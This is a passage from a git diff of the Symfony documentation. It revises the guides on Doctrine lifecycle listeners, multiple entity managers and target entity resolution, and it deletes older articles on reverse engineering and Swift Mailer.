to not use PHP attributes, you must +configure a service for the entity listener and :doc:`tag it </service_container/tags>` +with the ``doctrine.orm.entity_listener`` tag as follows: .. configuration-block:: @@ -289,7 +180,7 @@ with the ``doctrine.orm.entity_listener`` tag: .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:doctrine="http://symfony.com/schema/dic/doctrine"> <services> @@ -327,8 +218,8 @@ with the ``doctrine.orm.entity_listener`` tag: use App\Entity\User; use App\EventListener\UserChangedNotifier; - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); + return static function (ContainerConfigurator $container): void { + $services = $container->services(); $services->set(UserChangedNotifier::class) ->tag('doctrine.orm.entity_listener', [ @@ -352,116 +243,64 @@ with the ``doctrine.orm.entity_listener`` tag: ; }; -Doctrine Lifecycle Subscribers ------------------------------- +.. _doctrine-lifecycle-listener: -Lifecycle subscribers are defined as PHP classes that implement the -``Doctrine\Common\EventSubscriber`` interface and which listen to one or more -Doctrine events on all the application entities. For example, suppose that you -want to log all the database activity. To do so, define a subscriber for the -``postPersist``, ``postRemove`` and ``postUpdate`` Doctrine events:: +Doctrine Lifecycle Listeners +---------------------------- - // src/EventListener/DatabaseActivitySubscriber.php +Lifecycle listeners are defined as PHP classes that listen to a single Doctrine +event on all the application entities. For example, suppose that you want to +update some search index whenever a new entity is persisted in the database. To +do so, define a listener for the ``postPersist`` Doctrine event:: + + // src/EventListener/SearchIndexer.php namespace App\EventListener; use App\Entity\Product; - use Doctrine\Common\EventSubscriber; - use Doctrine\ORM\Events; - use Doctrine\Persistence\Event\LifecycleEventArgs; + use Doctrine\ORM\Event\PostPersistEventArgs; - class DatabaseActivitySubscriber implements EventSubscriber + class SearchIndexer { - // this method can only return the event names; you cannot define a - // custom method name to execute when each event triggers - public function getSubscribedEvents() - { - return [ - Events::postPersist, - Events::postRemove, - Events::postUpdate, - ]; - } - - // callback methods must be called exactly like the events they listen to; - // they receive an argument of type LifecycleEventArgs, which gives you access - // to both the entity object of the event and the entity manager itself - public function postPersist(LifecycleEventArgs $args) - { - $this->logActivity('persist', $args); - } - - public function postRemove(LifecycleEventArgs $args) - { - $this->logActivity('remove', $args); - } - - public function postUpdate(LifecycleEventArgs $args) - { - $this->logActivity('update', $args); - } - - private function logActivity(string $action, LifecycleEventArgs $args) + // the listener methods receive an argument which gives you access to + // both the entity object of the event and the entity manager itself + public function postPersist(PostPersistEventArgs $args): void { $entity = $args->getObject(); - // if this subscriber only applies to certain entity types, + // if this listener only applies to certain entity types, // add some code to check the entity type as early as possible if (!$entity instanceof Product) { return; } - // ... get the entity information and log it somehow + $entityManager = $args->getObjectManager(); + // ... do something with the Product entity } } -The next step is to enable the Doctrine subscriber in the Symfony application by -creating a new service for it and :doc:`tagging it </service_container/tags>` -with the ``doctrine.event_subscriber`` tag: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - App\EventListener\DatabaseActivitySubscriber: - tags: - - { name: 'doctrine.event_subscriber' } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:doctrine="http://symfony.com/schema/dic/doctrine"> - <services> - <!-- ... --> - - <service id="App\EventListener\DatabaseActivitySubscriber"> - <tag name="doctrine.event_subscriber"/> - </service> - </services> - </container> +.. note:: - .. code-block:: php + In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had + to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14. - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; +Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as +a Doctrine listener in your application:: - use App\EventListener\DatabaseActivitySubscriber; + // src/EventListener/SearchIndexer.php + namespace App\EventListener; - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); + use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener; + use Doctrine\ORM\Events; - $services->set(DatabaseActivitySubscriber::class) - ->tag('doctrine.event_subscriber') - ; - }; + #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')] + class SearchIndexer + { + // ... + } -If you need to associate the subscriber with a specific Doctrine connection, you -can do it in the service configuration: +Alternatively, if you prefer to not use PHP attributes, you must enable the +listener in the Symfony application by creating a new service for it and +:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag: .. configuration-block:: @@ -471,21 +310,40 @@ can do it in the service configuration: services: # ... - App\EventListener\DatabaseActivitySubscriber: + App\EventListener\SearchIndexer: tags: - - { name: 'doctrine.event_subscriber', connection: 'default' } + - + name: 'doctrine.event_listener' + # this is the only required option for the lifecycle listener tag + event: 'postPersist' + + # listeners can define their priority in case listeners are associated + # to the same event (default priority = 0; higher numbers = listener is run earlier) + priority: 500 + + # you can also restrict listeners to a specific Doctrine connection + connection: 'default' .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:doctrine="http://symfony.com/schema/dic/doctrine"> <services> <!-- ... --> - <service id="App\EventListener\DatabaseActivitySubscriber"> - <tag name="doctrine.event_subscriber" connection="default"/> + <!-- + * 'event' is the only required option that defines the lifecycle listener + * 'priority': used when multiple listeners are associated to the same event + * (default priority = 0; higher numbers = listener is run earlier) + * 'connection': restricts the listener to a specific Doctrine connection + --> + <service id="App\EventListener\SearchIndexer"> + <tag name="doctrine.event_listener" + event="postPersist" + priority="500" + connection="default"/> </service> </services> </container> @@ -495,23 +353,38 @@ can do it in the service configuration: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - use App\EventListener\DatabaseActivitySubscriber; + use App\EventListener\SearchIndexer; + + return static function (ContainerConfigurator $container): void { + $services = $container->services(); + + // listeners are applied by default to all Doctrine connections + $services->set(SearchIndexer::class) + ->tag('doctrine.event_listener', [ + // this is the only required option for the lifecycle listener tag + 'event' => 'postPersist', - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); + // listeners can define their priority in case multiple listeners are associated + // to the same event (default priority = 0; higher numbers = listener is run earlier) + 'priority' => 500, - $services->set(DatabaseActivitySubscriber::class) - ->tag('doctrine.event_subscriber', ['connection' => 'default']) + # you can also restrict listeners to a specific Doctrine connection + 'connection' => 'default', + ]) ; }; +.. versionadded:: 2.8.0 + + The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.8.0. + .. tip:: - Symfony loads (and instantiates) Doctrine subscribers whenever the - application executes; whereas Doctrine listeners are only loaded when the - related event is actually fired, making them more performant. + The value of the ``connection`` option can also be a + :ref:`configuration parameter <configuration-parameters>`. .. _`Doctrine`: https://www.doctrine-project.org/ .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html +.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.12.x/src/Attribute/AsDoctrineListener.php diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst index 1593398b3bc..1a56c55ddad 100644 --- a/doctrine/multiple_entity_managers.rst +++ b/doctrine/multiple_entity_managers.rst @@ -1,7 +1,4 @@ -.. index:: - single: Doctrine; Multiple entity managers - -How to Work with multiple Entity Managers and Connections +How to Work with Multiple Entity Managers and Connections ========================================================= You can use multiple Doctrine entity managers or connections in a Symfony @@ -18,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf advanced and not usually required. Be sure you actually need multiple entity managers before adding in this layer of complexity. -.. caution:: +.. warning:: Entities cannot define associations across different entity managers. If you need that, there are `several alternatives`_ that require some custom setup. @@ -32,20 +29,12 @@ The following configuration code shows how you can configure two entity managers # config/packages/doctrine.yaml doctrine: dbal: - default_connection: default connections: default: - # configure these for your database server url: '%env(resolve:DATABASE_URL)%' - driver: 'pdo_mysql' - server_version: '5.7' - charset: utf8mb4 customer: - # configure these for your database server - url: '%env(resolve:DATABASE_CUSTOMER_URL)%' - driver: 'pdo_mysql' - server_version: '5.7' - charset: utf8mb4 + url: '%env(resolve:CUSTOMER_DATABASE_URL)%' + default_connection: default orm: default_entity_manager: default entity_managers: @@ -54,7 +43,6 @@ The following configuration code shows how you can configure two entity managers mappings: Main: is_bundle: false - type: annotation dir: '%kernel.project_dir%/src/Entity/Main' prefix: 'App\Entity\Main' alias: Main @@ -63,7 +51,6 @@ The following configuration code shows how you can configure two entity managers mappings: Customer: is_bundle: false - type: annotation dir: '%kernel.project_dir%/src/Entity/Customer' prefix: 'App\Entity\Customer' alias: Customer @@ -71,7 +58,7 @@ The following configuration code shows how you can configure two entity managers .. code-block:: xml <!-- config/packages/doctrine.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:doctrine="http://symfony.com/schema/dic/doctrine" @@ -82,20 +69,12 @@ The following configuration code shows how you can configure two entity managers <doctrine:config> <doctrine:dbal default-connection="default"> - <!-- configure these for your database server --> <doctrine:connection name="default" url="%env(resolve:DATABASE_URL)%" - driver="pdo_mysql" - server_version="5.7" - charset="utf8mb4" /> - <!-- configure these for your database server --> <doctrine:connection name="customer" - url="%env(resolve:DATABASE_CUSTOMER_URL)%" - driver="pdo_mysql" - server_version="5.7" - charset="utf8mb4" + url="%env(resolve:CUSTOMER_DATABASE_URL)%" /> </doctrine:dbal> @@ -104,7 +83,6 @@ The following configuration code shows how you can configure two entity managers <doctrine:mapping name="Main" is_bundle="false" - type="annotation" dir="%kernel.project_dir%/src/Entity/Main" prefix="App\Entity\Main" alias="Main" @@ -115,7 +93,6 @@ The following configuration code shows how you can configure two entity managers <doctrine:mapping name="Customer" is_bundle="false" - type="annotation" dir="%kernel.project_dir%/src/Entity/Customer" prefix="App\Entity\Customer" alias="Customer" @@ -128,57 +105,36 @@ The following configuration code shows how you can configure two entity managers .. code-block:: php // config/packages/doctrine.php - $container->loadFromExtension('doctrine', [ - 'dbal' => [ - 'default_connection' => 'default', - 'connections' => [ - // configure these for your database server - 'default' => [ - 'url' => '%env(resolve:DATABASE_URL)%', - 'driver' => 'pdo_mysql', - 'server_version' => '5.7', - 'charset' => 'utf8mb4', - ], - // configure these for your database server - 'customer' => [ - 'url' => '%env(resolve:DATABASE_CUSTOMER_URL)%', - 'driver' => 'pdo_mysql', - 'server_version' => '5.7', - 'charset' => 'utf8mb4', - ], - ], - ], - - 'orm' => [ - 'default_entity_manager' => 'default', - 'entity_managers' => [ - 'default' => [ - 'connection' => 'default', - 'mappings' => [ - 'Main' => [ - 'is_bundle' => false, - 'type' => 'annotation', - 'dir' => '%kernel.project_dir%/src/Entity/Main', - 'prefix' => 'App\Entity\Main', - 'alias' => 'Main', - ] - ], - ], - 'customer' => [ - 'connection' => 'customer', - 'mappings' => [ - 'Customer' => [ - 'is_bundle' => false, - 'type' => 'annotation', - 'dir' => '%kernel.project_dir%/src/Entity/Customer', - 'prefix' => 'App\Entity\Customer', - 'alias' => 'Customer', - ] - ], - ], - ], - ], - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + // Connections: + $doctrine->dbal() + ->connection('default') + ->url(env('DATABASE_URL')->resolve()); + $doctrine->dbal() + ->connection('customer') + ->url(env('CUSTOMER_DATABASE_URL')->resolve()); + $doctrine->dbal()->defaultConnection('default'); + + // Entity Managers: + $doctrine->orm()->defaultEntityManager('default'); + $defaultEntityManager = $doctrine->orm()->entityManager('default'); + $defaultEntityManager->connection('default'); + $defaultEntityManager->mapping('Main') + ->isBundle(false) + ->dir('%kernel.project_dir%/src/Entity/Main') + ->prefix('App\Entity\Main') + ->alias('Main'); + $customerEntityManager = $doctrine->orm()->entityManager('customer'); + $customerEntityManager->connection('customer'); + $customerEntityManager->mapping('Customer') + ->isBundle(false) + ->dir('%kernel.project_dir%/src/Entity/Customer') + ->prefix('App\Entity\Customer') + ->alias('Customer') + ; + }; In this case, you've defined two entity managers and called them ``default`` and ``customer``. The ``default`` entity manager manages entities in the @@ -186,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the entities in ``src/Entity/Customer``. You've also defined two connections, one for each entity manager, but you are free to define the same connection for both. -.. caution:: +.. warning:: When working with multiple connections and entity managers, you should be explicit about which configuration you want. If you *do* omit the name of @@ -241,25 +197,29 @@ the default entity manager (i.e. ``default``) is returned:: namespace App\Controller; // ... - use Doctrine\ORM\EntityManagerInterface; + use Doctrine\Persistence\ManagerRegistry; class UserController extends AbstractController { - public function index(EntityManagerInterface $entityManager) + public function index(ManagerRegistry $doctrine): Response { - // These methods also return the default entity manager, but it's preferred - // to get it by injecting EntityManagerInterface in the action method - $entityManager = $this->getDoctrine()->getManager(); - $entityManager = $this->getDoctrine()->getManager('default'); - $entityManager = $this->get('doctrine.orm.default_entity_manager'); - - // Both of these return the "customer" entity manager - $customerEntityManager = $this->getDoctrine()->getManager('customer'); - $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager'); + // Both methods return the default entity manager + $entityManager = $doctrine->getManager(); + $entityManager = $doctrine->getManager('default'); + + // This method returns instead the "customer" entity manager + $customerEntityManager = $doctrine->getManager('customer'); + + // ... } } +Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>` +when the :doc:`framework bundle </reference/configuration/framework>` is used. For +example, to inject the ``customer`` entity manager, type-hint your method with +``EntityManagerInterface $customerEntityManager``. + You can now use Doctrine like you did before - using the ``default`` entity manager to persist and fetch entities that it manages and the ``customer`` entity manager to persist and fetch its entities. @@ -271,33 +231,27 @@ The same applies to repository calls:: use AcmeStoreBundle\Entity\Customer; use AcmeStoreBundle\Entity\Product; + use Doctrine\Persistence\ManagerRegistry; // ... class UserController extends AbstractController { - public function index() + public function index(ManagerRegistry $doctrine): Response { - // Retrieves a repository managed by the "default" em - $products = $this->getDoctrine() - ->getRepository(Product::class) - ->findAll() - ; + // Retrieves a repository managed by the "default" entity manager + $products = $doctrine->getRepository(Product::class)->findAll(); - // Explicit way to deal with the "default" em - $products = $this->getDoctrine() - ->getRepository(Product::class, 'default') - ->findAll() - ; + // Explicit way to deal with the "default" entity manager + $products = $doctrine->getRepository(Product::class, 'default')->findAll(); - // Retrieves a repository managed by the "customer" em - $customers = $this->getDoctrine() - ->getRepository(Customer::class, 'customer') - ->findAll() - ; + // Retrieves a repository managed by the "customer" entity manager + $customers = $doctrine->getRepository(Customer::class, 'customer')->findAll(); + + // ... } } -.. caution:: +.. warning:: One entity can be managed by more than one entity manager. This however results in unexpected behavior when extending from ``ServiceEntityRepository`` @@ -317,6 +271,6 @@ The same applies to repository calls:: // ... } - You should now always fetch this repository using ``ManagerRegistry::getRepository()``. + You should now always fetch this repository using ``ManagerRegistry::getRepository()``. .. _`several alternatives`: https://stackoverflow.com/a/11494543 diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst deleted file mode 100644 index d999eda77e9..00000000000 --- a/doctrine/registration_form.rst +++ /dev/null @@ -1,20 +0,0 @@ -.. index:: - single: Doctrine; Simple Registration Form - single: Form; Simple Registration Form - single: Security; Simple Registration Form - -How to Implement a Registration Form -==================================== - -This article has been removed because it only explained things that are -already explained in other articles. Specifically, to implement a registration -form you must: - -#. :ref:`Define a class to represent users <create-user-class>`; -#. :doc:`Create a form </forms>` to ask for the registration information (you can - generate this with the ``make:registration-form`` command provided by the `MakerBundle`_); -#. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`; -#. :ref:`Protect some parts of your application <security-authorization>` so - only registered users can access to them. - -.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst index 36038fd9f3c..1495f475628 100644 --- a/doctrine/resolve_target_entity.rst +++ b/doctrine/resolve_target_entity.rst @@ -1,43 +1,45 @@ -.. index:: - single: Doctrine; Resolving target entities - single: Doctrine; Define relationships with abstract classes and interfaces +Referencing Entities with Abstract Classes and Interfaces +========================================================= -How to Define Relationships with Abstract Classes and Interfaces -================================================================ +In applications where functionality is organized in layers or modules with +minimal concrete dependencies, such as monoliths split into multiple modules, +it can be challenging to avoid tight coupling between entities. -One of the goals of bundles is to create discreet bundles of functionality -that do not have many (if any) dependencies, allowing you to use that -functionality in other applications without including unnecessary items. +Doctrine provides a utility called the ``ResolveTargetEntityListener`` to solve +this issue. It works by intercepting certain calls within Doctrine and rewriting +``targetEntity`` parameters in your metadata mapping at runtime. This allows you +to reference an interface or abstract class in your mappings and have it resolved +to a concrete entity at runtime. -Doctrine 2.2 includes a new utility called the ``ResolveTargetEntityListener``, -that functions by intercepting certain calls inside Doctrine and rewriting -``targetEntity`` parameters in your metadata mapping at runtime. It means that -in your bundle you are able to use an interface or abstract class in your -mappings and expect correct mapping to a concrete entity at runtime. +This makes it possible to define relationships between entities without +creating hard dependencies. This feature also works with the ``EntityValueResolver`` +:ref:`as explained in the main Doctrine article <doctrine-entity-value-resolver-resolve-target-entities>`. -This functionality allows you to define relationships between different entities -without making them hard dependencies. +.. versionadded:: 7.3 + + Support for target entity resolution in the ``EntityValueResolver`` was + introduced Symfony 7.3 Background ---------- -Suppose you have an InvoiceBundle which provides invoicing functionality -and a CustomerBundle that contains customer management tools. You want -to keep these separated, because they can be used in other systems without -each other, but for your application you want to use them together. +Suppose you have an application with two modules: an Invoice module that +provides invoicing functionality, and a Customer module that handles customer +management. You want to keep these modules decoupled, so that neither is aware +of the other's implementation details. -In this case, you have an ``Invoice`` entity with a relationship to a -non-existent object, an ``InvoiceSubjectInterface``. The goal is to get -the ``ResolveTargetEntityListener`` to replace any mention of the interface -with a real object that implements that interface. +In this case, your ``Invoice`` entity has a relationship to the interface +``InvoiceSubjectInterface``. Since interfaces are not valid Doctrine entities, +the goal is to use the ``ResolveTargetEntityListener`` to replace all +references to this interface with a concrete class that implements it. Set up ------ -This article uses the following two basic entities (which are incomplete for -brevity) to explain how to set up and use the ``ResolveTargetEntityListener``. +This article uses two basic (incomplete) entities to demonstrate how to set up +and use the ``ResolveTargetEntityListener``. -A Customer entity:: +A ``Customer`` entity:: // src/Entity/Customer.php namespace App\Entity; @@ -46,17 +48,15 @@ A Customer entity:: use App\Model\InvoiceSubjectInterface; use Doctrine\ORM\Mapping as ORM; - /** - * @ORM\Entity - * @ORM\Table(name="customer") - */ + #[ORM\Entity] + #[ORM\Table(name: 'customer')] class Customer extends BaseCustomer implements InvoiceSubjectInterface { // In this example, any methods defined in the InvoiceSubjectInterface // are already implemented in the BaseCustomer } -An Invoice entity:: +An ``Invoice`` entity:: // src/Entity/Invoice.php namespace App\Entity; @@ -64,22 +64,15 @@ An Invoice entity:: use App\Model\InvoiceSubjectInterface; use Doctrine\ORM\Mapping as ORM; - /** - * Represents an Invoice. - * - * @ORM\Entity - * @ORM\Table(name="invoice") - */ + #[ORM\Entity] + #[ORM\Table(name: 'invoice')] class Invoice { - /** - * @ORM\ManyToOne(targetEntity="App\Model\InvoiceSubjectInterface") - * @var InvoiceSubjectInterface - */ - protected $subject; + #[ORM\ManyToOne(targetEntity: InvoiceSubjectInterface::class)] + protected InvoiceSubjectInterface $subject; } -An InvoiceSubjectInterface:: +The interface representing the subject used in the invoice:: // src/Model/InvoiceSubjectInterface.php namespace App\Model; @@ -96,14 +89,11 @@ An InvoiceSubjectInterface:: // will need to access on the subject so that you can // be sure that you have access to those methods. - /** - * @return string - */ - public function getName(); + public function getName(): string; } -Next, you need to configure the listener, which tells the DoctrineBundle -about the replacement: +Now configure the ``resolve_target_entities`` option to tell Doctrine +how to replace the interface with the concrete class: .. configuration-block:: @@ -142,20 +132,17 @@ about the replacement: // config/packages/doctrine.php use App\Entity\Customer; use App\Model\InvoiceSubjectInterface; + use Symfony\Config\DoctrineConfig; - $container->loadFromExtension('doctrine', [ - 'orm' => [ - // ... - 'resolve_target_entities' => [ - InvoiceSubjectInterface::class => Customer::class, - ], - ], - ]); + return static function (DoctrineConfig $doctrine): void { + $orm = $doctrine->orm(); + // ... + $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class); + }; Final Thoughts -------------- -With the ``ResolveTargetEntityListener``, you are able to decouple your -bundles, keeping them usable by themselves, but still being able to -define relationships between different objects. By using this method, -your bundles will end up being easier to maintain independently. +Using ``ResolveTargetEntityListener`` allows you to decouple your modules +while still defining relationships between their entities. This makes your +codebase more modular and easier to maintain over time. diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst deleted file mode 100644 index 087e41db955..00000000000 --- a/doctrine/reverse_engineering.rst +++ /dev/null @@ -1,114 +0,0 @@ -.. index:: - single: Doctrine; Generating entities from existing database - -How to Generate Entities from an Existing Database -================================================== - -When starting work on a brand new project that uses a database, two different -situations comes naturally. In most cases, the database model is designed -and built from scratch. Sometimes, however, you'll start with an existing and -probably unchangeable database model. Fortunately, Doctrine comes with a bunch -of tools to help generate model classes from your existing database. - -.. note:: - - As the `Doctrine tools documentation`_ says, reverse engineering is a - one-time process to get started on a project. Doctrine is able to convert - approximately 70-80% of the necessary mapping information based on fields, - indexes and foreign key constraints. Doctrine can't discover inverse - associations, inheritance types, entities with foreign keys as primary keys - or semantical operations on associations such as cascade or lifecycle - events. Some additional work on the generated entities will be necessary - afterwards to design each to fit your domain model specificities. - -This tutorial assumes you're using a simple blog application with the following -two tables: ``blog_post`` and ``blog_comment``. A comment record is linked -to a post record thanks to a foreign key constraint. - -.. code-block:: sql - - CREATE TABLE `blog_post` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `title` varchar(100) COLLATE utf8_unicode_ci NOT NULL, - `content` longtext COLLATE utf8_unicode_ci NOT NULL, - `created_at` datetime NOT NULL, - PRIMARY KEY (`id`) - ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; - - CREATE TABLE `blog_comment` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `post_id` bigint(20) NOT NULL, - `author` varchar(20) COLLATE utf8_unicode_ci NOT NULL, - `content` longtext COLLATE utf8_unicode_ci NOT NULL, - `created_at` datetime NOT NULL, - PRIMARY KEY (`id`), - KEY `blog_comment_post_id_idx` (`post_id`), - CONSTRAINT `blog_post_id` FOREIGN KEY (`post_id`) REFERENCES `blog_post` (`id`) ON DELETE CASCADE - ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; - -Before diving into the recipe, be sure your database connection parameters are -correctly setup in the ``.env`` file (or ``.env.local`` override file). - -The first step towards building entity classes from an existing database -is to ask Doctrine to introspect the database and generate the corresponding -metadata files. Metadata files describe the entity class to generate based on -table fields. - -.. code-block:: terminal - - $ php bin/console doctrine:mapping:import "App\Entity" annotation --path=src/Entity - -This command line tool asks Doctrine to introspect the database and generate -new PHP classes with annotation metadata into ``src/Entity``. This generates two -files: ``BlogPost.php`` and ``BlogComment.php``. - -.. tip:: - - It's also possible to generate the metadata files into XML or eventually into YAML: - - .. code-block:: terminal - - $ php bin/console doctrine:mapping:import "App\Entity" xml --path=config/doctrine - - In this case, make sure to adapt your mapping configuration accordingly: - - .. code-block:: yaml - - # config/packages/doctrine.yaml - doctrine: - # ... - orm: - # ... - mappings: - App: - is_bundle: false - type: xml # "yml" is marked as deprecated for doctrine v2.6+ and will be removed in v3 - dir: '%kernel.project_dir%/config/doctrine' - prefix: 'App\Entity' - alias: App - -Generating the Getters & Setters or PHP Classes ------------------------------------------------ - -The generated PHP classes now have properties and annotation metadata, but they -do *not* have any getter or setter methods. If you generated XML or YAML metadata, -you don't even have the PHP classes! - -To generate the missing getter/setter methods (or to *create* the classes if necessary), -run: - -.. code-block:: terminal - - // generates getter/setter methods - $ php bin/console make:entity --regenerate App - -.. note:: - - If you want to have a OneToMany relationship, you will need to add - it manually into the entity (e.g. add a ``comments`` property to ``BlogPost``) - or to the generated XML or YAML files. Add a section on the specific entities - for one-to-many defining the ``inversedBy`` and the ``mappedBy`` pieces. - -The generated entities are now ready to be used. Have fun! - -.. _`Doctrine tools documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/tools.html#reverse-engineering diff --git a/email.rst b/email.rst deleted file mode 100644 index 60e630abc38..00000000000 --- a/email.rst +++ /dev/null @@ -1,668 +0,0 @@ -.. index:: - single: Emails - -Swift Mailer -============ - -.. note:: - - In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and can - be used instead of Swift Mailer. - -Symfony provides a mailer feature based on the popular `Swift Mailer`_ library -via the `SwiftMailerBundle`_. This mailer supports sending messages with your -own mail servers as well as using popular email providers like `Mandrill`_, -`SendGrid`_, and `Amazon SES`_. - -Installation ------------- - -In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to -install the Swift Mailer based mailer before using it: - -.. code-block:: terminal - - $ composer require symfony/swiftmailer-bundle - -If your application doesn't use Symfony Flex, follow the installation -instructions on `SwiftMailerBundle`_. - -.. _swift-mailer-configuration: - -Configuration -------------- - -The ``config/packages/swiftmailer.yaml`` file that's created when installing the -mailer provides all the initial config needed to send emails, except your mail -server connection details. Those parameters are defined in the ``MAILER_URL`` -environment variable in the ``.env`` file: - -.. code-block:: bash - - # .env (or override MAILER_URL in .env.local to avoid committing your changes) - - # use this to disable email delivery - MAILER_URL=null://localhost - - # use this to configure a traditional SMTP server - MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password= - -.. caution:: - - If the username, password or host contain any character considered special in a - URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must - encode them. See `RFC 3986`_ for the full list of reserved characters or use the - :phpfunction:`urlencode` function to encode them. - -Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>` -for the detailed explanation of all the available config options. - -Sending Emails --------------- - -The Swift Mailer library works by creating, configuring and then sending -``Swift_Message`` objects. The "mailer" is responsible for the actual delivery -of the message and is accessible via the ``Swift_Mailer`` service. Overall, -sending an email is pretty straightforward:: - - public function index($name, \Swift_Mailer $mailer) - { - $message = (new \Swift_Message('Hello Email')) - ->setFrom('send@example.com') - ->setTo('recipient@example.com') - ->setBody( - $this->renderView( - // templates/emails/registration.html.twig - 'emails/registration.html.twig', - ['name' => $name] - ), - 'text/html' - ) - - // you can remove the following code if you don't define a text version for your emails - ->addPart( - $this->renderView( - // templates/emails/registration.txt.twig - 'emails/registration.txt.twig', - ['name' => $name] - ), - 'text/plain' - ) - ; - - $mailer->send($message); - - return $this->render(...); - } - -To keep things decoupled, the email body has been stored in a template and -rendered with the ``renderView()`` method. The ``registration.html.twig`` -template might look something like this: - -.. code-block:: html+twig - - {# templates/emails/registration.html.twig #} - <h3>You did it! You registered!</h3> - - Hi {{ name }}! You're successfully registered. - - {# example, assuming you have a route named "login" #} - To login, go to: <a href="{{ url('login') }}">...</a>. - - Thanks! - - {# Makes an absolute URL to the /images/logo.png file #} - <img src="{{ absolute_url(asset('images/logo.png')) }}"> - -The ``$message`` object supports many more options, such as including attachments, -adding HTML content, and much more. Refer to the `Creating Messages`_ section -of the Swift Mailer documentation for more details. - -.. _email-using-gmail: - -Using Gmail to Send Emails --------------------------- - -During development, you might prefer to send emails using Gmail instead of -setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your -``.env`` file to this: - -.. code-block:: bash - - # username is your full Gmail or Google Apps email address - MAILER_URL=gmail://username:password@localhost - -The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl`` -encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses -other encryption or auth mode, you must override those values -(:doc:`see mailer config reference </reference/configuration/swiftmailer>`): - -.. code-block:: bash - - # username is your full Gmail or Google Apps email address - MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth - -If your Gmail account uses 2-Step-Verification, you must `generate an App password`_ -and use it as the value of the mailer password. You must also ensure that you -`allow less secure applications to access your Gmail account`_. - -Using Cloud Services to Send Emails ------------------------------------ - -Cloud mailing services are a popular option for companies that don't want to set -up and maintain their own reliable mail servers. To use these services in a -Symfony app, update the value of ``MAILER_URL`` in the ``.env`` -file. For example, for `Amazon SES`_ (Simple Email Service): - -.. code-block:: bash - - # The host will be different depending on your AWS zone - # The username/password credentials are obtained from the Amazon SES console - MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD - -Use the same technique for other mail services, as most of the time there is -nothing more to it than configuring an SMTP endpoint. - -How to Work with Emails during Development ------------------------------------------- - -When developing an application which sends email, you will often -not want to actually send the email to the specified recipient during -development. If you are using the SwiftmailerBundle with Symfony, you -can achieve this through configuration settings without having to make -any changes to your application's code at all. There are two main choices -when it comes to handling email during development: (a) disabling the -sending of email altogether or (b) sending all email to a specific -address (with optional exceptions). - -Disabling Sending -~~~~~~~~~~~~~~~~~ - -You can disable sending email by setting the ``disable_delivery`` option to -``true``, which is the default value used by Symfony in the ``test`` environment -(email messages will continue to be sent in the other environments): - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/test/swiftmailer.yaml - swiftmailer: - disable_delivery: true - - .. code-block:: xml - - <!-- config/packages/test/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - 